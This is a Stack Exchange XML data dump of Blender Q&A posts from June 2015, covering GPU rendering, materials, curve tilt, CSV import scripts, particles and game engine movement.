  <row Id="31877" PostTypeId="1" CreationDate="2015-06-03T04:10:07.730" Score="4" ViewCount="1862" Body="&lt;p&gt;I am using Linux Mint 17, and I am very happy that I was finally able to get my GPU to render on it. My problem was that I needed to &lt;em&gt;properly&lt;/em&gt; run Blender as root.  However, when rebooting my computer, I need to run Blender in root again to make the GPU rendering work.  This would be fine, except for the fact that everything written to the hard drive by Blender is owned by root, and cannot be edited unless running everything in root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard that installing nvidia modprobe will allow programs that use CUDA processing without running the program as root.  I have tried to install this in a number of ways, and it doesn't appear to be working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any suggestions?  (It's possible that I'm not properly installing modprobe, but I've tried both suggestions on this answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/31045/cuda-rendering-on-linux-mint-or-ubuntu-variants&quot;&gt;CUDA rendering on Linux Mint or Ubuntu variants&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2016-07-13T23:09:45.937" Title="How to enable CUDA rendering without running as root?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31878" PostTypeId="2" ParentId="31863" CreationDate="2015-06-03T06:45:23.147" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;In the 3d View Properties Panel, Shading Panel, Make Sure Mulitexture is set and not GLSL.&lt;/li&gt;&#xA;&lt;li&gt;Make sure your Texture Influence Panel has Color selected TRUE and set to 1.0&lt;/li&gt;&#xA;&lt;li&gt;Know that is quite possible for texture paint window to show a texture while the final render has no effects from the texture because the influence values are not set correctly to achieve your desired results.&lt;/li&gt;&#xA;&lt;li&gt;Since you have stated you are new to Blender, in the not so extreme case, delete all materials, and textures and start fresh.&lt;/li&gt;&#xA;&lt;li&gt;UV unwrap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-03T07:00:06.273" LastActivityDate="2015-06-03T07:00:06.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31879" PostTypeId="2" ParentId="31493" CreationDate="2015-06-03T07:03:37.207" Score="2" Body="&lt;p&gt;Enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A3oC3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the sky will render as alpha transparency when seen directly, but still illuminate and reflect off other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a transparent background, it can easily be filled in with another image via an &lt;em&gt;Alpha Over&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GKRgM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;The &lt;em&gt;Translate&lt;/em&gt; node is used for some tweaks to the positioning of the background image.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-03T07:17:00.480" LastActivityDate="2015-06-03T07:17:00.480" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="31880" PostTypeId="2" ParentId="31866" CreationDate="2015-06-03T07:17:26.147" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider changing the &lt;strong&gt;Tilt&lt;/strong&gt;, In &lt;em&gt;Edit Mode&lt;/em&gt; of the curve, &lt;kbd&gt;N&lt;/kbd&gt; for properties, you will see a tilt angle which you can change:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iqMtY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a lattice modifier.  Animate the strength of the modifier if that suits you&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a simple deform modifier&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-04T10:32:57.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31881" PostTypeId="2" ParentId="31866" CreationDate="2015-06-03T07:21:50.580" Score="9" Body="&lt;p&gt;Yes, this is called &lt;em&gt;Tilt&lt;/em&gt;. You can control the tilt of a given segment with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aBugs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-03T07:21:50.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31882" PostTypeId="2" ParentId="31121" CreationDate="2015-06-03T07:43:33.423" Score="6" Body="&lt;p&gt;The easiest path here is to export from excel as a &lt;code&gt;.csv&lt;/code&gt; (comma separated values) in a column-format that the existing .csv readers/importers  written for Blender understand. Here's an &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?211735-A-Script-to-Import-a-CSV-File-and-Create-Meshes-(for-Blender-2-5x-or-later)&amp;amp;p=2866999&amp;amp;viewfull=1#post2866999&quot; rel=&quot;noreferrer&quot;&gt;example of one such addon&lt;/a&gt; . This means you don't have to write any import code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you did want some autonomy over the import code, you might write something like this (but use a .csv format it is much easier to parse):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your csv, let's call it &lt;code&gt;circle.csv&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x,y,z&#xA;0.000000,1.000000,0&#xA;0.500000,0.866025,0&#xA;0.866025,0.500000,0&#xA;1.000000,0.000000,0&#xA;0.866025,-0.500000,0&#xA;0.500000,-0.866025,0&#xA;0.000000,-1.000000,0&#xA;-0.500000,-0.866025,0&#xA;-0.866025,-0.500000,0&#xA;-1.000000,-0.000000,0&#xA;-0.866025,0.500000,0&#xA;-0.500000,0.866025,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The least amount of code needed to read a file like that into blender might look something like this. You run from Text Editor, (but remember to get the path to the file correct first..) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import csv&#xA;import os&#xA;import bpy&#xA;&#xA;filename = 'circle.csv'&#xA;directory = '/home/zeffii/Desktop'  # &amp;lt;-- if you have linux or osx&#xA;# directory = r'c:\some\directory'  # &amp;lt;-- if windows, the r is important&#xA;# directory = 'c:/some/directory'  # &amp;lt;-- if windows (alternative)&#xA;&#xA;fullpath = os.path.join(directory, filename)&#xA;&#xA;with open(fullpath, 'r', newline='') as csvfile:&#xA;    ofile = csv.reader(csvfile, delimiter=',')&#xA;    next(ofile) # &amp;lt;-- skip the x,y,z header&#xA;&#xA;    # this makes a generator of the remaining non-empty lines&#xA;    rows = (r for r in ofile if r)&#xA;&#xA;    # this converts the string representation of each line&#xA;    # to an x,y,z list, and stores it in the verts list.&#xA;    verts = [[float(i) for i in r] for r in rows]&#xA;&#xA;if verts:&#xA;    # join vertices into one uninterrupted chain of edges.&#xA;    edges = [[i, i+1] for i in range(len(verts)-1)]&#xA;&#xA;    mesh = bpy.data.meshes.new(&quot;mesh_name&quot;)&#xA;    mesh.from_pydata(verts, edges, faces=[])&#xA;    mesh.update()&#xA;&#xA;    obj = bpy.data.objects.new(&quot;obj_name&quot;, mesh)&#xA;&#xA;    scene = bpy.context.scene&#xA;    scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-03T20:46:24.013" LastActivityDate="2015-06-03T20:46:24.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31883" PostTypeId="2" ParentId="31858" CreationDate="2015-06-03T09:48:55.410" Score="2" Body="&lt;p&gt;Try the AV sync button, in the header of the timeline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVtlr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-03T09:48:55.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31884" PostTypeId="2" ParentId="31826" CreationDate="2015-06-03T10:07:07.057" Score="5" Body="&lt;p&gt;Reopening your file removes all datablock that have been created and then not used, nor marked as &quot;Fake user&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. you create two materials for an object, then assign only one of them.&#xA;The unused object remains as datablock with no users.&#xA;When you close the file and then reopen it, the unused datablock (i.e. the unused material) disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is your case!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Blenders manual section on: &lt;a href=&quot;https://www.blender.org/manual/data_system/datablocks.html#users-garbage-collection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Garbage Collection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2019-01-05T09:50:48.910" LastActivityDate="2019-01-05T09:50:48.910" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31885" PostTypeId="2" ParentId="30776" CreationDate="2015-06-03T10:16:14.463" Score="2" Body="&lt;p&gt;There's an easy way producing realistic volume effects, without dealing with high render time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a 2D image or movie of the nebula&lt;/li&gt;&#xA;&lt;li&gt;combine it with your scene in mix mode, using the normalized z value of your scene, so that the more far is the object, the more the nebula is visible&lt;/li&gt;&#xA;&lt;li&gt;trim your setup with a B/W color ramp between the normalize node and the fac input of the mix node, and maybe add some blur to let the nebula &quot;bleed&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way let's you speed up render times a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HsoUT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HsoUT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render time: less than 1 sec. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The movie clip has been done by shooting a plane with a clouds texture, animating the texture coordinates during the 1000 frames shot.&#xA;The color ramp lets you control the amount of the fog: more black equals to more crisp, more white means more fog.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2016-05-14T12:21:06.727" LastActivityDate="2016-05-14T12:21:06.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31886" PostTypeId="2" ParentId="16039" CreationDate="2015-06-03T10:36:02.257" Score="1" Body="&lt;p&gt;And here another, using the icon field of the bpy.types.EnumProperty(). I think the template provided now in TextEditor is a little sparse, this might help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Menu&#xA;&#xA;class VIEW3D_PIE_SV_ops(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;nodes.pie_menu_enum&quot;&#xA;    bl_label = &quot;Add Quick Node&quot;&#xA;&#xA;    mode_options = [&#xA;        (&quot;option1&quot;, &quot;option1&quot;, &quot;&quot;, &quot;CURVE_DATA&quot;, 0),&#xA;        (&quot;option2&quot;, &quot;option2&quot;, &quot;&quot;, &quot;&quot;, 1),&#xA;        (&quot;option3&quot;, &quot;option3&quot;, &quot;&quot;, &quot;&quot;, 2)&#xA;    ]&#xA;&#xA;    selected_mode = bpy.props.EnumProperty(&#xA;        items=mode_options,&#xA;        description=&quot;offers....&quot;,&#xA;        default=&quot;option1&quot;&#xA;    )&#xA;&#xA;    def execute(self, context):&#xA;        print('added ', self.selected_mode)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class VIEW3D_PIE_template(Menu):&#xA;    # label is displayed at the center of the pie menu.&#xA;    bl_label = &quot;Select Mode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        pie = layout.menu_pie()&#xA;        pie.operator_enum(&quot;nodes.pie_menu_enum&quot;, &quot;selected_mode&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    bpy.ops.wm.call_menu_pie(name=&quot;VIEW3D_PIE_template&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-03T10:36:02.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31887" PostTypeId="2" ParentId="30999" CreationDate="2015-06-03T10:52:40.527" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ez2s7.png&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use linear velocity to make this as suggested above. With translation it just teleports. In the image shown you can move towards the x-axis with w. When you stop pressing it, the motion stops. Create 3 more sensors for A/S/D for the different axis and also place them in the script in the same way as &quot;w&quot;, as sensors, and copy paste the last 2 lines 3 times  for each one of the new sensors and it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I found some time. This works for all the sensors. No need to have them all in script. &lt;a href=&quot;http://www.pasteall.org/blend/36376&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New edit:&lt;/strong&gt;&#xA;Ok, I did it with forces and change of states. Here is the &lt;a href=&quot;http://www.pasteall.org/blend/36387&quot; rel=&quot;nofollow noreferrer&quot;&gt;new blend file&lt;/a&gt;,check it out. If you press space you go to jump state where you have that motion you wanted. But while on the ground you stop instantly when you leave the w,s,a,d.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2015-06-03T21:16:58.963" LastActivityDate="2015-06-03T21:16:58.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31888" PostTypeId="1" AcceptedAnswerId="31956" CreationDate="2015-06-03T10:52:59.313" Score="12" ViewCount="8523" Body="&lt;p&gt;I'm trying to render some windows, reflecting an environment map, and to be transparent to let light enter inside the house. There are two windows facing each, and I need to see throught both, and keep the alpha channel here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the window's material nodes that do (half) the trick :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VumiJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as you can see, there is no reflection on windows, which is needed. The &quot;is Camera Ray&quot; is overriding the reflections too. But if I don't add the &quot;is Camera Ray&quot; to the &quot;is Shadow Ray&quot;, the background is rendered instead of alpha channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YxiBf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to have a &quot;glass&quot; material with both:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;reflections of an env map,&lt;/li&gt;&#xA;&lt;li&gt;light passing through &lt;/li&gt;&#xA;&lt;li&gt;alpha channel through&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: Well, the answer from duplicate question suggested doesn't solves the problem. The main difference here is that some parts of the rendered material is viewed over another object (interior walls, here), while some area is over background. The answer from the suggested duplicate does only take account of an object over background only.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2015-06-03T11:45:30.560" LastActivityDate="2015-06-04T23:35:12.410" Title="Alpha channel through glass material instead of background (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31889" PostTypeId="2" ParentId="30948" CreationDate="2015-06-03T12:29:12.907" Score="1" Body="&lt;p&gt;If you want to make the belt &quot;spin&quot; without any rigging, I'd suggest &lt;strong&gt;animating&lt;/strong&gt; the &lt;strong&gt;texture&lt;/strong&gt; &lt;strong&gt;offset&lt;/strong&gt; of the material applied to only the belt inside of Unity. &#xA;This will give the illusion of the belt &quot;spinnig&quot;&#xA;&lt;a href=&quot;http://docs.unity3d.com/ScriptReference/Material.SetTextureOffset.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.unity3d.com/ScriptReference/Material.SetTextureOffset.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just increase the x or y offset every frame in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Update ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make sure to multiply the increment by &lt;strong&gt;Time.deltaTime&lt;/strong&gt; so the speed is consistent across all framerates&lt;/p&gt;&#xA;" OwnerUserId="14779" LastActivityDate="2015-06-03T12:29:12.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31890" PostTypeId="1" AcceptedAnswerId="31911" CreationDate="2015-06-03T12:44:24.703" Score="6" ViewCount="227" Body="&lt;p&gt;I'm trying to track a video clip I filmed, and when I open it in Blender, I am able to cache 519 frames of the video. When I then track the markers I place in the movie, everything works fine, &lt;em&gt;until it goes past frame 519&lt;/em&gt; (i.e. past the part already cached), when the tracking on the &lt;em&gt;start&lt;/em&gt; of the clip starts to get inaccurate. How can I prevent this? &lt;/p&gt;&#xA;" OwnerUserId="14780" LastEditorUserId="3078" LastEditDate="2015-06-03T20:57:15.023" LastActivityDate="2015-06-04T18:44:32.080" Title="Why is tracking getting less accurate after going past cached frames?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31892" PostTypeId="2" ParentId="31808" CreationDate="2015-06-03T14:11:04.727" Score="2" Body="&lt;p&gt;This is intended behavior, At the moment circle selection in object mode uses object centers only.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-03T14:11:04.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31893" PostTypeId="1" AcceptedAnswerId="31936" CreationDate="2015-06-03T15:11:08.103" Score="5" ViewCount="1058" Body="&lt;p&gt;Say you have a cube and a sphere grouped as 'Group'. You instanciate that group and link it to the scene. Now when you click on the instance, there is no material panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the two pictures below for a better understanding of what I'm trying to do.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BIsxY.png&quot; alt=&quot;current state&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vfa78.png&quot; alt=&quot;desired state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access the duplicated objects in the dupli instance in order to give them new materials ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I succeeded in doing is to assign a material to an object instance but not to objects within a group instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python answers are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested, here's the code to create a dupli_group instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layers = [True] + 19*[False]&#xA;&#xA;# Could replace this with bmesh method&#xA;object1 = bpy.ops.surface.primitive_nurbs_surface_sphere_add(radius=1, location=(0, 0, 0), layers=layers)&#xA;object1 = bpy.context.active_object&#xA;&#xA;object2 = bpy.ops.mesh.primitive_cube_add(radius=1, location=(4, 0, 0), layers=layers)&#xA;object2 = bpy.context.active_object&#xA;&#xA;group = bpy.data.groups.new('some_group_name')&#xA;group.objects.link(object1)&#xA;group.objects.link(object2)&#xA;&#xA;group_instance = bpy.data.objects.new('some_group_name_instance1', None)&#xA;group_instance.dupli_type = 'GROUP'&#xA;group_instance.dupli_group = group&#xA;&#xA;bpy.context.scene.objects.link(group_instance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I would expect to have a way to target object1 and object2 within group_instance and to set new materials that won't affect other instances.&lt;/p&gt;&#xA;" OwnerUserId="13633" LastEditorUserId="13633" LastEditDate="2015-06-04T14:59:35.483" LastActivityDate="2015-06-04T15:20:02.543" Title="Assign a different material to objects within dupli_group instances" Tags="&lt;materials&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31894" PostTypeId="1" CreationDate="2015-06-03T15:15:14.277" Score="4" ViewCount="718" Body="&lt;p&gt;I'm trying to do a Asteroid belt, as you can see in the image the first one works well (for its own size) because the asteroids have a lot more random positions that the big one, but that's the problem, in the bigger asteroid belt, i made a different particle system, based in one single asteroid, rotated (and it still works grealy) because if i add a group as particles, the groups are too notorious and i want to make this as natural as possible, is there any way to randomize even more the particles, like in the small asteroid belt i did? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/qRbed.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-06-03T18:12:48.013" Title="How can i randomize the position of particles even more?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31895" PostTypeId="2" ParentId="31858" CreationDate="2015-06-03T15:25:48.573" Score="2" Body="&lt;p&gt;Audio sync issues in playback are often caused by mismatched sampling frequency rates on the audio track. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for instance you imported a 44.1kHz track, but your video export settings had the audio settings at 48kHz it could cause a change in duration of the audio track, thereby causing sync issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would check the sampling rate of the external audio file, check it in the VSE, and the check it in the output video file, to see if there are any discrepancies.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-04T12:26:46.243" LastActivityDate="2015-06-04T12:26:46.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31896" PostTypeId="1" CreationDate="2015-06-03T15:26:41.707" Score="5" ViewCount="170" Body="&lt;p&gt;I have the opportunity to produce some educational videos leveraging an entertainment company's branded characters. The educational course will be delivered online and students will be using Blender installed on their own machines. Can anyone tell me if it is possible to have students use and manipulate these branded character assets within Blender, without ever actually downloading the assets to their machines?&lt;/p&gt;&#xA;" OwnerUserId="14782" LastEditorUserId="3078" LastEditDate="2015-06-03T21:14:05.700" LastActivityDate="2015-06-03T21:14:05.700" Title="Can Blender manipulate remote assets, without me having to download them to the client machine manually?" Tags="&lt;workflow&gt;&lt;network&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31897" PostTypeId="2" ParentId="31896" CreationDate="2015-06-03T15:33:22.433" Score="7" Body="&lt;p&gt;Not directly possible, Blender needs its data to be local (it does not understand uri, FTP, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could set up a 'fake' local file system on your students' machine, though, which would actually be a network one (like a samba/windows sharing, or other similar solution). It will work as long as Blender can see it as a local directory.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-03T15:33:22.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31898" PostTypeId="1" CreationDate="2015-06-03T15:37:19.413" Score="6" ViewCount="654" Body="&lt;p&gt;So, I have the structure of a single vertebra (roughly) and an armature bone to dictate it's motion. What I want to know is, is there any way to generate a series of vertebrae, one on top of the other, with their armature bones already linked together? I REALLY don't want to place and link every single bone together, when there might be more than 50 of them. Also, I'd like the general scaling of each vertebra to be decreasing as each structure is generated. I know the array modifier can do the first part of that, but it doesn't copy the bones, and I don't know how to add scaling to it.&lt;/p&gt;&#xA;" OwnerUserId="14783" LastActivityDate="2015-06-04T03:08:47.583" Title="Trying to make a spine-like structure in blender" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31899" PostTypeId="1" CreationDate="2015-06-03T16:07:49.167" Score="3" ViewCount="192" Body="&lt;p&gt;So I'm editing footage together in blender, and I would like to use other programs with it (ie. DaVinci Resolve) And those programs use an xml file to use the same footage at the same edit points. So is there some way to export my videos as an xml file?&#xA;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2015-06-03T16:07:49.167" Title="VSE export XML?" Tags="&lt;export&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-03T23:55:50.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="31900" PostTypeId="2" ParentId="12368" CreationDate="2015-06-03T16:17:57.560" Score="2" Body="&lt;p&gt;I was also bothered by this a lot. The only way I found is to change the binding to a laptop key that is recognised by Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the user prefs, Input and in the search field, write &lt;kbd&gt;.&lt;/kbd&gt; and you will find the binding called Outliner Show Active. Change it to something that works on your laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1jy4f.png&quot; alt=&quot;key binding for outliner.show_active&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13633" LastActivityDate="2015-06-03T16:17:57.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31902" PostTypeId="2" ParentId="31790" CreationDate="2015-06-03T16:44:53.520" Score="-1" Body="&lt;p&gt;As it has already been said, apply the Subdivision surface modifier right after the skin modifier to control the number of faces you get. There is no way to do such directly in skin modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful reading and tutorial:&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.digitaltutors.com/understanding-power-skin-modifier-blender/&quot; rel=&quot;nofollow&quot;&gt;Understanding the Power of the Skin Modifier in Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10986" LastEditorUserId="2217" LastEditDate="2015-11-22T23:07:55.290" LastActivityDate="2015-11-22T23:07:55.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31904" PostTypeId="2" ParentId="31894" CreationDate="2015-06-03T18:01:37.010" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Attach a Voronoi or Noise Texture.  Affect the pattern of particles by selecting Influence Density TRUE.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hOeuF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The texture in the particles system&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tVFaX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify to suit your artistic goal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-03T18:12:48.013" LastActivityDate="2015-06-03T18:12:48.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31905" PostTypeId="2" ParentId="30999" CreationDate="2015-06-03T18:33:03.343" Score="0" Body="&lt;p&gt;Actually, that's completely natural. It already has a linear velocity x, so it just goes not x when you hit the next key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that you are trying to emulate the movement of something like a skydiver. Here's an idea that you could try: try making a 'bounding box' that the player can fit inside of that will only collide with the player, make it invisible, and have the WSAD keys affect the bounding box instead. This way, the player's velocity is always zero until bumped by the edge of the box, in which case the player will slide when you release or hit the next key. (You might want to place a parented block underneath it, parented to the bounding box. The block will fall the same rate as the box, and because it isn't the object coded with automatic movement, the player cube will slide on it.) Or at least, that's my theory. It kinda worked the other way around, except this bounding box had to control an independent player while it moved slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and could you post the blend file so we can take a gander at it please? Thanks, Nefer007&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="13814" LastEditDate="2015-06-03T20:14:29.890" LastActivityDate="2015-06-03T20:14:29.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
